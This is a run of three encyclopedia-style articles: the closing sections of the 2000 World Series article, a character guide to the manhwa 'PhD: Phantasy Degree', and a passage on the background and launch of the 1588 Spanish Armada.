The 2000 World Series was the last hurrah for this Mets core that consisted of Piazza, Leiter (left 2004), Franco (left 2004), Alfonzo (left 2002), Ventura (left 2001), and manager Bobby Valentine (left 2002). After four consecutive seasons of competitive baseball, the Mets would average just 74 wins in the next four seasons, including a 95-loss season in 2003 and two last-place finishes in the NL East (2002 and 2003). After 2002, Bobby Valentine and nearly all of the coaching staff were fired, and by 2005, Mike Piazza was the only remnant from the 2000 team; he would leave the Mets after that season.
The Mets have made four postseason appearances since then. The first occurred in 2006, when they lost the NLCS to the eventual champions, the St. Louis Cardinals; the second came in 2015, as NL East champions, when they made a return trip to the World Series and lost to the Kansas City Royals (also in five games); the third took place in 2016 when they lost to the San Francisco Giants in the National League Wild Card game; the team's most recent postseason appearance was in 2022, when they clinched a spot in the newly expanded postseason's National League Wild Card series, only to lose to the San Diego Padres in three games.
With the New Jersey Devils winning the 2000 Stanley Cup Finals the previous spring, the New York metropolitan area was home to a World Series and Stanley Cup champion in the same season or calendar year, a distinction it previously earned in 1928 and 1939–40 when the Yankees and New York Rangers won the World Series and Stanley Cup respectively. New York missed out on a championship trifecta, however, when the NFL Giants lost Super Bowl XXXV to the Baltimore Ravens.
This was the final World Series the New York Yankees won while playing at the old Yankee Stadium (as previously mentioned, they lost in and again in ) and the final World Series played at Shea Stadium. Both stadiums closed at the end of the 2008 Major League Baseball season. The first season at the new Yankee Stadium () ended with the Yankees winning their 27th; meanwhile, the New York Mets hosted their first-ever World Series at Citi Field, where they lost to the Kansas City Royals in five games.
Derek Jeter was the last active player involved in the 2000 World Series. He retired following the 2014 season. Some players, like Robin Ventura and Joe McEwing, currently work as coaches.
Beginning with this World Series, the official logo would be revised annually (effective with the 2001 series) as opposed to previous World Series where the same logo would be recycled for several seasons. As of 2021, Major League Baseball is the only one of the "Big Four" leagues to change its championship tournament logos annually; the Super Bowl in the National Football League (since 2010), the Stanley Cup Finals in the National Hockey League, and the NBA Finals in the National Basketball Association continue to use standardized logos with the year (or in the case of the Super Bowl, Roman numerals) updated annually. This also applies to the official logos used for the Wild Card Round (starting in 2012), Division Series and League Championship Series.
On October 11, 2005, A&E Home Video released The New York Yankees Fall Classic Collectors Edition (1996–2001) DVD set. Game 5 of the 2000 World Series is included in the set. The entire series was released in October 2013 by Lionsgate Home Entertainment
Records
The 1998–2000 New York Yankees established a record of ten consecutive games won in consecutive World Series. The previous record was nine by the 1937–1939 Yankees. Overall, the Yankees had won 14 straight World Series games (starting with Game 3 of the 1996 World Series) breaking the mark of 12 straight by the 1927, 1928 and 1932 Yankees.
Mariano Rivera became the first and, to date, only pitcher to record the final out in three straight World Series. In 1998, he retired the Padres' Mark Sweeney to clinch the championship; in 1999, he retired the Braves' Keith Lockhart; and in 2000, he retired the Mets' Mike Piazza.
Radio and television
The World Series telecast on Fox was the first year of their exclusive coverage of the Fall Classic (although the new contract would technically begin the next year). As in previous World Series televised by the network, Joe Buck called the play-by-play with Tim McCarver (himself a Yankees broadcaster and a former Mets broadcaster) served as color commentator in the broadcast booth, and Bob Brenly provided color commentary and reporting from the stands. Game 5 of the series was Brenly's last broadcast for Fox, as he left to become manager of the Arizona Diamondbacks and, incidentally, go on to defeat the Yankees in the World Series the following year. Brenly returned to broadcasting in 2005 as part of the Chicago Cubs broadcasts on CSN Chicago and WGN, and also has called postseason games for TBS. In 2012, Brenly returned to the Diamondbacks as a broadcaster.
ESPN Radio's coverage was without Joe Morgan for a second consecutive year for reasons that remain unclear. Instead, Jon Miller shared the booth with Dave Campbell, ESPN Radio's Sunday Night Baseball color man. In 1999, Morgan was absent from ESPN Radio's World Series coverage because he was working the television broadcasts with Bob Costas on NBC. During Game 3, Miller was forced to leave the booth after the top of the first inning due to an upper respiratory infection. Charley Steiner, serving as a field reporter for the network, filled in on play-by-play for the rest of the game; Miller resumed his duties in Game 4 of the Series.
John Sterling and Michael Kay also broadcast this on WABC and on WFAN, Bob Murphy, and Gary Cohen broadcast this series.
Ratings
The World Series drew an average of 12.4 national rating and a 21% share of the audience, down 22.5% from the previous year. The Series drew well in the New York metropolitan area, but nationally, it was, at the time, the lowest-rated World Series in history by a solid margin. Many contemporary analysts argued that the ratings slide was due to lack of interest outside of the New York City area. Others thought the ratings slide was related to the television viewing audience becoming more fragmented in the wake of cable television. Online streaming media services were in their infancy and were a non-factor in 2000.
Three of the next four World Series (2001, 2003 and 2004) were all rated higher than the 2000 World Series. Following the Boston Red Sox' 86-year championship drought ending with a victory in the 2004 World Series, the event has seen a decline in ratings; every World Series from 2005 to 2013 has drawn lower ratings (sometimes substantially lower) than the 2000 Series.
See also
2000 Japan Series
Notes
Sources
References
External links
World Series > Subway Series
World Series
World Series
New York Yankees postseason
New York Mets postseason
World Series
World Series
Sports competitions in New York City
2000s in the Bronx
2000s in Queens
Baseball competitions in New York City
Shea Stadium
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https://en.wikipedia.org/wiki/PhD%3A%20Phantasy%20Degree
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PhD: Phantasy Degree
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, is a manhwa series created by Son Hee-joon. The series is published by in English by Tokyopop. There are currently 10 volumes published, and the series' original publisher, Daiwon C.I. lists it as ongoing, but no new volumes have been published since 2005. A one-volume prequel to the series entitled Magic Academy Zeus (매직 아카데미 제우스, Maejig Akademi Jeusu) was published in South Korea in 1998.
Story
A young, spunky, fearless girl named Sang is searching for the Demon School Hades. She runs into a group of misfit monsters who are all ditching classes from the same school. Sang convinces them to take her to the school ... and, since only monsters are allowed in, she 'monsterizes' herself by letting one of the misfits – a vampire – bite her. After the destruction of the Demon School Hades at the hands of the Madosa Guild in volume 3, she moves on to search for more of "Satan's Rings". She meets Chun-Lang, a young swordsman, who also has a Ring, and like Sang, can change genders. During a confrontation against Alcan, one of the Madosa Guild, Sang loses her memory. She is nicknamed Limbo by everyone now surrounding her.
Characters
Sang
A human girl searching for something at the Demon school Hades—ultimately to find a mysterious ring. She has amazing leaping abilities, and she is a master of escape. Later we learn that Sang already has a few rings on her fingers, but instead of giving her power they seem to act like limiters for her and each time she takes one off, she ends up with a different personality and different abilities and skills. She has four different personalities, her first personality is the one she uses most often. She seems to have a few magical abilities and a strange personality. Her second personality is an older woman who seems to be more powerful, the third is a half crazy man with a lot of fire power. The last is a subtle man who seems to use more quiet magics like telekinetic powers and tiny marble like energy spheres. They are all wizards and are fully aware of each other. Despite being turned into a vampire by Mordicus in Volume 1, she appears human in later volumes. She even loses her fangs.
Chun-Lang
A very hungry swordmaster that Sang meets in the woods. She possesses The Ring of Life which is what allows her to maintain her feminine form – her true form is a younger male, though for the most part she remains as a female. Chun-Lang is one of the stronger characters in PhD, especially after taking the Final Exam at the Master Tower and being able to revert to her original form as a man. In a mental world the female Chun-Lang told the original that their gender did not determine their strength, merely how each of them used it as the original – male – Chun-Lang was bested by the "weaker" female Chun-Lang when in a duel. Chun-Lang also has a deep hatred for the Madosa Guild, rivaled perhaps only by that of Noel's.
Dev
A teenage demon out for revenge on the one who killed his brother – Henduh. He has a thing for Norta but she is engaged to a Demon even more powerful than his brother, Fatalis. After taking the Final Exam Dev becomes stronger, though never gets the chance to show his skills. He seems to trust Sang the most out of all the characters, as her actions has saved all of their lives despite appearances. He defends her when she is attacked by Chun-Lang.
Notra
A Succubus of royalty. (They refer to her as Lady Notra.) Notra seems attracted to Dev, but she also enjoys tormenting him. Despite her feelings for Dev, she is engaged to a white winged demon that Noel and her mother summons.
Katana
A powerful demon, head of the demon bullies. Katana's whereabouts remain unknown after Norta, Dev and him left the demon school, Hades, but was seen as a guard for Lord Gandara at the end of book 10
Professor Shimuro
The leader of Elftown and the father of Oedipus and Iris. During the attack on Elftown by Henduh, Shimuro confronts him and allows the other to escape. At first he seems to have the upper hand but he is eventually overwhelmed by Henduh's strength and is killed by him.
Hexion
A peace-keeping elf known for making rash decisions. Hexion's hearing is exceptional, even by elf standards. Unknown to many, Hexion lived life as a male, but was revealed to be a girl by Henduh during the invasion of the elf village. During this time she declared she would rather die then allow others to know her secret. She shows her affections for Oedipus by kissing him before she has the survivors leave her for what could be her death match with Henduh. Hexion later returns in the same way Dev's friends did due to drinking Sang's blood. (Hexion sucks Sang's snakebite believed to be poisonous.) Her weapon of choice are arrows, which are made from her hair. She is defeated by Stonia but saved in the end by Iris. Her unconscious body is dragged away from the battle by a crying Iris who are both saved by Chan Chun.
Oedipus
A young elf with little battle training, but a ready mind and a steady heart. It was implied that he may have a crush on Sang, whom he knew as Limbo at the time, however, Hexion kissing him puts that into question. He dies protecting his younger sister, Iris.
Iris
Younger sister of Oedipus. Friends with a troll named Bob. She is stubborn and hates being treated so lightly. She is one of the rare elves that can form arrows from magic energy. During her brother's death, she begs him not to die promising to address him by "Big Brother." She survives along with Hexion and is eventually saved by Chan Chun.
Yong-Ha
A swordmaster who was a student at the Athena Academy. She along with her fellow students were captured by ogres and imprisoned. They eventually escaped and were instructed to enter the master tower after the Madosa Guild had attacked the Athena Academy. She along with her friends entered and were able to unlock their true potential by undergoing the test inside the tower. She and Gyo-Hwe are able to defeat Stonia and she later fights Dustis only to be stabbed though the chest with her own sword. She appeared in one of the visions of the future that Chang Chun experienced along with Gyo-Hwe.
Gyo-Hwe
A fighter who was a student at the Athena Academy. She was among the students that were captured by the ogres and later takes the test at the master tower. She and Yong-Ha are able to defeat Stonia together but she later is killed by Cider along with her friends. She and Yong-Ha appeared in one of the visions that Chang Chun saw.
Eun-Kyul
A thief who was a student at the Athena Academy. She along and her friends were captured by ogres before the attack on Athena Academy by the Madosa Guild. After taking the test with her friends she gains new powers. At first she states that she is a thief but after the test it is revealed that she is actually a tamer who is able to draw out the latent powers of animals. She fights Madosa Guild member Dagger with Carbuncle and is later killed by him.
Carbuncle
Carbuncle is small creature who has a small jewel on his forehead. He is left behind after the Athena students were captured by ogres. His true name isn't Carbuncle but Eun-Kyul named him that and it eventually sticks. He is later renamed Cappa by Sang and she becomes agitated whenever somebody calls him anything else. He enters the master tower along with the Athena Students and changes form into a wolf like creature afterwards. It is revealed that he is actually of a legendary species who possesses supernatural powers. He is able to access these powers when his master, Eun-Kyul, orders him to fight. He then takes on the appearance of a beastly man. Despite his new powers, he is killed by Dagger along with the rest of the Athena students. He later appears at the end of volume 10 in the vision that Chang Chun saw.
Noel
A bumbling magician who was a student at the Athena Academy. She and her friends are captured by ogres and imprisoned before the invasion at the academy. She is the only one of the Athena students who did not leave the tower to face the Madosa Guild and thus is the only one of them to survive. She constantly makes mistakes when casting spells, destroying the floor beneath her when she attempts to attack and summoning a salamander when she originally intended a fireball spell. It is later revealed that her mother was killed by the Madosa Guild, because of this she wants to avenge her mother's death much like Chun-Lang and Dev. Before her mother died she makes a contract with the white winged demon to protect her daughter. Noel is unable to summon the demon until she learns of her friends deaths. She is so enraged that she calls out the demon. The demon helps her and Notra escape from the Madosa Guild making her the only survivor among the Athena students.
Bomi
A greedy priestess who was a student at the Athena Academy. She and her friends were captured by ogres and imprisoned before that attack at Athena. Her teacher instructs her and the other students to go to the master tower and undertake the test. After taking the test she gains much more powers and is able to heal even fatal wounds. She often charges people money for information or to help them in fights, even in life or death situations. After witnessing all of her friends die she is forced by the Madosa Guild to break open the doors of the master tower. The task takes a major toll on her body. She is fatally injured and is left with very little time left to live. Before she dies she is confronted by Chang Chun and he questions her about what happened. Before her death he states that there is still something that she can do, although it is never revealed what that was.
Doe Sangun
A teacher at the Athena Academy who takes the Ring of Life from Chun Lang. He is apparently male but has only been shown as a woman so far. Although a man shown in a flashback in volume ten had similar weapons to him. He is first seen watching Sang and Hexion enter the ogre's fortress and later helps the students escape. When returning to the school he orders the students to head towards the master tower and take the final test. He then goes on to fight Stonia but is later killed by her.
Cho-Hyun
A teacher at the now destroyed Zeus Academy who had the Ring of Life before Chun Lang. He is now training one of the survivors of the Zeus Magic Academy named Noru. He is a Martial Arts Master who lost his arm to Stonia at the destruction of Zeus.
Noru
He is a Martial Artist and one of the four student survivors of Zeus along with Sitan, Gong-Ji and Ryushi.
Gong-Ji
He is the Healer of the group and knows only elementary magic skills. He also seems to be a monk of some kind. He is quiet and shy.
Sitan
He is a fighter who wields a saber. Among the four, group, he seems to be closest to Sang, whom they also known as Limbo.
Ryushi
He is the mage of the group and fights using Magic Missiles. He is serious and gathers information during their quests.
Pannus Tyrannus
A mummy who went to school at Hades and was friends with Dev, Mordicus, and Lukan. In Volume 1, Sang pointed out that he was not very frightening. In Volume 2,he became more powerful because he consumed Sang's blood, and it was indicated that he was once a pharaoh. While his death was not shown clearly in Volume 2,you can see his shoes lying on the floor in front of Lance on page 126 of volume 2, but because Dev is shown at his grave in Volume 3, it makes it more clear.
Mordicus
A vampire who went to school at Hades and was friends with Dev, Lukan, and Pannus Tyrannus. In Volume 1 Sang pointed out that he was not very dangerous. In Volume 2, he became more powerful because he consumed Sang's blood, and it was indicated that he was one of the "Blood Emperors". While his death was not shown clearly in Volume 2,he was shown seemingly dead on page 134 of volume 2, but because Dev is shown at his grave in Volume 3, it makes it more clear.
Lukan
A werewolf who went to school at Hades and was friends with Dev, Mordicus, and Pannus Tyrannus. In Volume 1, Sang pointed out that he was "about as dangerous as a squirrel." In Volume 2, he became more powerful because he consumed Sang's blood, and he described himself as :the King of Beasts". While his death was not shown in Volume 2, although he was seen fighting alongside Tyrannus in volume 2 and you then see only Tyrannus's shoes only on page 126, it was indicated that he died in that volume, because Dev is shown at his grave in Volume 3, it makes it more clear. However, he does appear in one of the visions that Chang Chun saw.
Madosa Guild
The Madosa Guild is an organization in PhD whose goals have yet to be revealed. They are a group of humans with amazing fighting abilities. They are identified by a tattoo somewhere on their body. The top ten members of the organization are known as the Order of Rank and are identified by a number placed in the center of their tattoo. Their goals are unknown at this point in the series but they are responsible for the destruction of the Zeus, Athena, and Hades Academies. They also appear to be tracking down others who possess great power like themselves. The reason for this is never specified but it is most likely that they are either tying to obtain new members or eliminate potential threats. Because of this, they have made many enemies most of whom were either friends or family of those that they have killed. The older members of the guild treat Sang with respect and order the newer members to not fight her even though she poses a threat to their goals. Whatever connection Sang has to them is still unknown as of now(In volume 9 it is said that she helped found the guild). Despite sustaining great injuries on many occasions, only one member of the Guild has been killed so far.
Chang Chun
He is the leader of the Madosa Guild and he also appears to have some type of connection to Sang. When he first he confronts the members of the Guild who have attacked Athena and it appears that he has come to stop them. The ranked members don't seem to know who he is even though they note that he has a similar aura as their Leader and that he has the same name. He doesn't appear to know that he is the leader of the guild. One possibility is that he has multiple personalities like Sang does. He does not actually help fight any of the members but instead helps Chun Lang, Dev, Iris, and Hexion escape. It also seems that Noel's mother knew him at one point in time. After helping them escape he is confronted by Hwee-Young and the assassin who looks like Chun Lang. They have him put on two of Satan's rings and another personality takes over him. This personality seems to be the true leader of the guild.
Order of Rank
These are the top-ranked members in the Guild. Each Order member possesses superior combat ability and is assigned a number from 1 to 10 that indicates their rank and relative power level, which is shown somewhere on their body (Hendu's is on his tongue, for instance). The Order consists of ten members and the tenth member has yet to be shown, though most fan theories suggest Gelpa.
Lance – Order of Rank #1
He is the head of the Order of Rank and bears the number I on the tattoo on his forehead. Despite his obvious military and personal power he takes little part in the fighting himself, though the one time he does it seems the fight is over quickly. Quite clearly he is the strongest of them all as the 7th of the Order suggested that only Henduh was capable of breaking into The Master Tower, a feat Lance accomplished just as easily. It would seem that in the absence of President Hyup he has been the stand-in leader of the Madosa Guild given his status as the strongest of the Order. However, he appears to show a good amount of loyalty to Sang rather than Chang Chun.
Spear – Order of Rank #2
According to Stonia this member is a woman with unknowable strength who is quietly spoken and generally wears her hood up to conceal most of her features. From the brief time she has her hood down it looks as though she might be blind as there are never any pupils shown in her eyes whether hooded or unhooded – her tattoo is on her forehead, same as Lance. She is also quite intelligent, knowing enough about magic to guess Noel was better suited for summoning, able to dispel a Contract between a summoner and a Demon. Spear is a stark contrast to many other Order members in that she actually assesses a situation first and isn't obscenely arrogant.
Henduh Khyung – Order of Rank #3
A malicious individual with strong powers, he is marked with the number III on his tongue. His powers are immense (though he still takes orders from Lance) his endurance is incredible, enough to withstand everything thrown his way. His Holy Breath is a massively powerful breath blast attack and Henduh comments that he leaves nothing alive wherever he goes. Much later he destroys the Elven village where he also kills Master Shumiro and defeats Hexion and Bob, proving his might even as he battles multiple foes. It was stated only Henduh could break The Master Tower (Lance too accomplished this though) and he is arrogant to the core alongside his bloodthirsty nature, though despite this he is no fool as he refused to rush Professor Shumiro head on and "create an opening" for him. Even though he states that the entire UnderWorld could come scampering out to fight for all he cared.
Cider – Order of Rank #4
His powers enable him to change his fingers/hands and perhaps his whole arms into tentacles appendages for use in combat. Like Henduh he seems to have shown little pressure in combat as yet, often remaining calm to Henduh's rage and finds it ironic that Henduh could be laid low by mere children. He possesses the number IV on his forehead and when engaging Sang due to his rage he undergoes an as-yet-unseen 'mutation' that leaves his coat damaged and his body massed with tentacles. He is more together than most others in the Order...except when pushed to lose his temper at which point he becomes quite aggressive and snappish when he is usually the analysis-type.
Dustis – Order of Rank #5
She possesses the number V on the back of her collar though her tattoo is unseen as yet. She carries a staff that ends in a shape like a musical note, indicating the bulk of her talents – sound (though she also changes a sword into a snake on one occasion). Dustis is still quite young by remarks from Spear and seems it both in actions and mannerisms since she is more easily tricked than Spear or Cider which Spear puts down to her being young/less experienced. Dustis seems to be in a 'relationship' with Dagger since a joke is made of it on more than one occasion by Dagger, especially that Dustis has no holds on him because they aren't married. Whilst Dustis seems to care for Dagger, Dagger doesn't seem to feel the same way and calls her a 'psycho'.
Stonia – Order of Rank #6
A member of the Madosa Guild who seems to have a grudge against Chun-Lang. Also appears to be on good terms with Henduh to the point they may actually be friends. She easily defeats Chun-Lang in battle, breaking her right arm, all her right fingers and her right leg just for kicks and is probably the Order member about whom we see the most ability. Her powers stem from control over gravity and her number VI is on her forehead, usually covered by her headpiece and whilst she is a capable fighter she is also quite sadistic. She gets on well with Henduh presumably because she has curves aplenty which Henduh notes to Lance is one thing he does like...along with any woman with curves.
Name Unknown – Order of Rank #7
Currently nothing is known about this member. He is shown wearing full armor and is very large in comparison to the others as well as traveling alongside Lance and participating in the death of Noels mother. Despite being ranked lower than most of the others he seems to be on friendly terms with Spear and even Dustis since even when he lightly told the latter off she did not bite back as she would with Dagger.
Alcan – Order of Rank #8 (Deceased)
A necromancer with the number VIII on the top left side of his forehead, who was fooling around in the woods trying to recreate Gigantes...until Chun-Lang came along and ended up creating the beast and falling into the role of playing its 'Mommy'. Alcan is quite strong for his rank but nonetheless is killed by the mysterious woman who looks like Chun-Lang. For him death was not the end and he returned as a Liche only to be destroyed by Professor Shumiro once and for all. Alcan was reasonably powerful but it seems his skills lean less towards combative ability than the other Order members thus far.
Dagger – Order of Rank #9
A young member of the Madosa Guild who bears the number IX on the back of his right hand. He is seen to plant seeds inside his opponents and make them bloom into evil plants, ripping them up and turning them into drones for him to control easily. When he enters Combat Mode his power seemingly increases and he gains the ability to change at least his right arm into a sword or a kind of shield, though he also uses a sickle blade from his forearm. Dagger has a love/hate relationship with Dustis – she loves him, he kind of just goes along with it, though it is clear Dustis does all the chasing and Dagger does all the running. He's younger than most others and asks the most questions, mostly from inexperience and can be a bit too cocky when in combat which may lead to him being surprised. His personality changes drastically when in 'combat' mode, as he is louder, more talkative, foul mouthed and mischievous, whilst his normal persona is still rather sarcastic, sadistic but quieter and speaks in a more polite tone.
Name Unknown – Order of Rank #10
Currently nothing is known about this member, we only know they exist because Stonia says that there are ten members of the Order of Rank. This member was not present during the attack at the Athena Academy or when the guild reached Olympus, even though it was stated several times that the entire Order of Rank was present at the time. One possibility is like Alcan, this member has been killed prior to the beginning of the series and has yet to be replaced.
Other Members
Besides the Order of Rank, there are many other members of the Madosa Guild who are unranked. These individuals also possess great skills and usually will accompany the ranked members on missions.
Mahalisa
A member of the Madosa Guild who accompanied Henduh during the attack on Hades Academy. She is able to manipulate the wind and easily defeated some of the Hades students. Her mission was to seal the gates to the Mahagae which is basically the home of demons. She battled with Fatalis and Mordicus and was greatly wounded but still managed to survive. It is shown in a flashback that she and the 7th ranked member of the guild were responsible for Noel's mother's death.
Striker
A member of the Madosa Guild whose face is kept hidden. He appears to be on good terms with Henduh (though he's more like an underling) and moves incredibly fast. He may be some sort of cyborg as he expressed no concern after losing his fingers.
Gelpa
Member of the Madosa Guild and also an assassin/lieutenant. Marked with the guild symbol in his left eye and can leap great distances as well as expertly conceal himself. He can also move through solid objects. He however, seems to have more of a conscious when killing. He saves both Noel and Notra from death.
Hwee-Young
A feisty gladiator fighter who feels the need to fight anyone with a weapon. After the battle in the forest he is approached by a girl who looks similar to Chun-Lang and is asked to meet with the leader of the Madosa Guild. He accepts and he is seen again in volume 9 and has apparently joined the Madosa Guild.
Unknown Female Assassin
This masked woman was responsible for eliminating Alcan. Later when she approaches Hwee-Young she removes her mask and it is revealed that she looks very similar to Chun-Lang in his female form. She makes an offer for Hwee-Young to join the Guild and he apparently accepts this offer as he is seen with her later in the series.
Unknown Female
Nothing is known about this member other than that she was present at a meeting of the Guild and reported on the various countries.
Unknown Male
Nothing is known about this member other than he was also present at the meeting.
References
External links
Tokyopop – PhD: Phantasy Degree Page The tokyopop.com URL now points to Facebook's Tokyopop page, breaking this link and others.
Manhwa titles
Fantasy comics
Humor comics
Daewon C.I. titles
2001 comics debuts
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https://en.wikipedia.org/wiki/Spanish%20Armada
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Spanish Armada
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The Spanish Armada (a.k.a. the Invincible Armada or the Enterprise of England, ) was a Spanish fleet that sailed from Lisbon in late May 1588, commanded by the Duke of Medina Sidonia, an aristocrat without previous naval experience appointed by Philip II of Spain. His orders were to sail up the English Channel, join with the Duke of Parma in Flanders, and escort an invasion force that would land in England and overthrow Elizabeth I. Its purpose was to reinstate Catholicism in England, end support for the Dutch Republic, and prevent attacks by English and Dutch privateers against Spanish interests in the Americas.
The Spanish were opposed by an English fleet based in Plymouth. Faster and more manoeuvrable than the larger Spanish galleons, they were able to attack the Armada as it sailed up the Channel. Several subordinates advised Medina Sidonia to anchor in The Solent and occupy the Isle of Wight, but he refused to deviate from his instructions to join with Parma. Although the Armada reached Calais largely intact, while awaiting communication from Parma, it was attacked at night by English fire ships and forced to scatter. The Armada suffered further losses in the ensuing Battle of Gravelines, and was in danger of running aground on the Dutch coast when the wind changed, allowing it to escape into the North Sea. Pursued by the English, the Spanish ships returned home via Scotland and Ireland. Up to 24 ships were wrecked along the way before the rest managed to get home. Among the factors contributing to the defeat and withdrawal of the Armada were bad weather conditions and the better employment of naval guns and battle tactics by the English.
The expedition was the largest engagement of the undeclared Anglo-Spanish War. The following year, England organized a similar large-scale campaign against Spain, known as the "English Armada", and sometimes called the "counter-Armada of 1589", which failed. Three further Spanish armadas were sent against England and Ireland in 1596, 1597, and 1601, but these likewise ended in failure.
Etymology
The word armada is from , which is cognate with English army. It is originally derived from , the past participle of , used in Romance languages as a noun for armed force, army, navy, fleet. is still the Spanish term for the modern Spanish Navy.
Background
England had been strategically in alliance with Spain for many decades prior to England and Spain entering into war. In the mid-late 15th Century Louis XI of France controlled the politics of Central Europe. England still had possessions in what today is called Northern France, and Spain was under constant threat. Henry VII of England therefore formed a strategic relationship with Ferdinand II, of Spain. Whilst the threat from France remained, England & Spain enjoyed many decades of peace which included a number of strategic marriages to retain the alliance. There were many causes of jealousy between the two royal houses over the years, but the "French Wars of Religion" was the ultimate cause of the alliance breaking between Philip II and Elizabeth I, and this led to war between the two countries.
By the mid sixteenth century Habsburg Spain under King Philip II was a dominant political and military power in Europe, with a global empire which became the source of her wealth. It championed the Catholic cause and its global possessions stretched from Europe, the Americas and to the Philippines. This was expanded further in 1580 when Portugal was annexed thus forming the Iberian Union, greatly expanding the empire. Philip became the first monarch who ruled over an empire upon which the sun did not set, and he did so from his chambers in the Escorial Palace by means of written communication.
In comparison, England was only a minor European power with no empire, and it could exercise little influence outside of its shores - although, in alliance with Spain, it had gone to war three times against France during Henry VIII's reign. The last of these conflicts was the Siege of Boulogne. King Henry VIII began the English Reformation as a political exercise over his desire to divorce his first wife, Catherine of Aragon. Over time, England became increasingly aligned with the Protestant reformation taking place in Europe, especially during the reign of Henry's son, Edward VI. Edward died childless, and his half-sister Mary ascended the throne in 1553. Three years later Mary married Philip II, becoming queen consort of Spain and began to reassert Roman Catholic influence over church affairs. Her attempts led to more than 260 people being burned at the stake, earning her the nickname "Bloody Mary".
Philip now persuaded Mary to enter into a disastrous war against France. England landed forces in the low countries and with the failing support of Spain, captured the town of St. Quentin. For brief information, see Battle of St. Quentin.. Though this brought victory for Spain, England had neglected her French defences, and France took English Calais in the Siege of Calais (1558). Thus England lost her last possession in France, stretching back over 500 years. This was undoubtedly a huge blow to Mary's prestige, who is reported as stating "When I am dead and opened, you shall find 'Calais' lying in my heart." England's wealth further suffered, not just from the cost of the war, but also from the reduced revenues from Alum and the Antwerp Cloth Trade caused by the loss of the port. The Kingdom of Spain had strengthened its hold on the low countries, weakening France with no cost to itself, but at great cost to England. Just prior to Mary's death, Philip and Elizabeth looked to come to an alliance & settlement, between England & Spain, and there is evidence even marriage between Philip & Elizabeth was explored, but the question of faith, and the unequal relationship between the two Kingdoms made this extremely unlikely. Up until now Spain & England had remained in an alliance – one that had lasted for over 70 years.
Mary's death in 1558 led to her half-sister Elizabeth taking the throne. Unlike Mary, Elizabeth was firmly in the reformist camp and quickly reimplemented many of Edward's reforms. Philip, no longer co-monarch, deemed Elizabeth a heretic and illegitimate ruler of England. In the eyes of the Catholic Church, Henry had never officially divorced Catherine, making Elizabeth illegitimate. It is alleged that Philip supported plots to have Elizabeth overthrown in favour of her Catholic cousin and heir presumptive, Mary, Queen of Scots. These plans were thwarted when Elizabeth had Mary imprisoned in 1567. Mary was forced to abdicate the crown of Scotland in favour of her son James VI. The first documented suggestion of what was called the Enterprise of England was in the summer of 1583 when, flushed with pride of his victory in the Azores, Álvaro de Bazán, Marquis of Santa Cruz addressed the suggestion to Philip II of taking advantage of it to attack England.
Elizabeth finally had Mary executed in February 1587, due to constant plots against the queen carried out in Mary's name. Elizabeth also retaliated against Philip by supporting the Dutch Revolt against Spain, as well as funding privateers to raid Spanish ships across the Atlantic. She had also negotiated an enduring trade and political alliance with Morocco.
In retaliation, Philip planned an expedition to invade England in order to overthrow Elizabeth and, if the Armada was not entirely successful, at least negotiate freedom of worship for Catholics and financial compensation for war in the Low Countries. Through this endeavour, English material support for the United Provinces, the part of the Low Countries that had successfully seceded from Spanish rule, and English attacks on Spanish trade and settlements in the New World would end. Philip was supported by Pope Sixtus V, who treated the invasion as a crusade, with the promise of a subsidy should the Armada make land. Substantial support for the invasion was also expected from English Catholics, including wealthy and influential aristocrats and traders.
A raid on Cádiz, led by privateer Francis Drake in April 1587, had captured or destroyed about 30 ships and great quantities of supplies, setting preparations back by a year. There is also evidence that a letter from Elizabeth's security chief and spymaster, Sir Francis Walsingham, to her ambassador in Istanbul, William Harborne, sought to initiate Ottoman Empire fleet manoeuvres to harass the Spaniards, but there is no evidence for the success of that plan.
The Prince of Parma was initially consulted by Philip II in 1583. Alexander stressed that three conditions would need to be met so as to achieve success; absolute secrecy, secure the possession and defense of the Dutch provinces, and keep the French from interfering either with a peace agreement or by sowing division between the Catholic League and the Huguenots. Secrecy couldn't be maintained which made the enterprise vastly more complicated. Philip ultimately combined Parma's plan with that of Santa Cruz, initially entertaining a triple attack, starting with a diversionary raid on Scotland, while the main Armada would capture either the Isle of Wight or Southampton to establish a safe anchorage in The Solent. Farnese would then follow with a large army from the Low Countries crossing the English Channel.
The appointed commander of the naval forces of the Armada was the highly experienced Marquis of Santa Cruz while Alexander Farnese would be in command of the invasion forces. Unfortunately, Santa Cruz died in February 1588 and the Duke of Medina Sidonia, a high-born courtier, took his place. While a competent soldier and distinguished administrator, Medina Sidonia had no naval experience. He wrote to Philip expressing grave doubts about the planned campaign, but his message was prevented from reaching the King by courtiers on the grounds that God would ensure the Armada's success.
Execution
Prior to the undertaking, Pope Sixtus V allowed Philip to collect crusade taxes and granted his men indulgences. The blessing of the Armada's banner on April 25, 1588, was similar to the ceremony used prior to the Battle of Lepanto in 1571. On May 28, 1588, the Armada set sail from Lisbon and headed for the English Channel. When it left Lisbon, the fleet was composed of 141 ships, 10,138 sailors and 19,315 soldiers, and bore 1,500 brass guns and 1,000 iron guns. The full body of the fleet took two days to leave port.
The Armada was delayed by bad weather. Storms in the Bay of Biscay along the Galician coast forced four galleys and one galleon to turn back, and other ships had to put in to A Coruña for repairs, leaving 137 ships that sailed for the English Channel. Nearly half of the ships were not built as warships and were used for duties such as scouting and dispatch work, or for carrying supplies, animals and troops. It included 24 purpose-built warships, 44 armed merchantmen, 38 auxiliary vessels and 34 supply ships.
In the Spanish Netherlands, Alexander Farnese had mustered 30,000 soldiers and ordered hundreds of flyboats built to carry them across the channel while awaiting the arrival of the Armada. Since the element of surprise was long gone, the new plan was to use the cover of the warships to convey the army on barges to a place near London. In all, 55,000 men were to have been mustered, a huge army for that time. On the day the Armada set sail, Elizabeth's ambassador in the Netherlands, Valentine Dale, met Parma's representatives in peace negotiations. The English made a vain effort to intercept the Armada in the Bay of Biscay. On July 6, negotiations were abandoned, and the English fleet stood prepared, if ill-supplied, at Plymouth, awaiting news of Spanish movements.
Only 122 ships from the Spanish fleet entered the Channel; the four galleys, one nao, five pataches and the 10 Portuguese caravels had left the fleet before the first encounter with the English fleet. An additional 5 pataches, dispatched to deliver messages to Parma, should be deducted which brings the number to 117 Spanish ships facing the roughly 226-strong English fleet. The Spanish fleet outgunned that of the English with 50% more available firepower than the English. The English fleet consisted of the 34 ships of the Royal Fleet, 21 of which were galleons of 200 to 400 tons, and 163 other ships, 30 of which were of 200 to 400 tons and carried up to 42 guns each. Twelve of the ships were privateers owned by Lord Howard of Effingham, Sir John Hawkins and Sir Francis Drake.
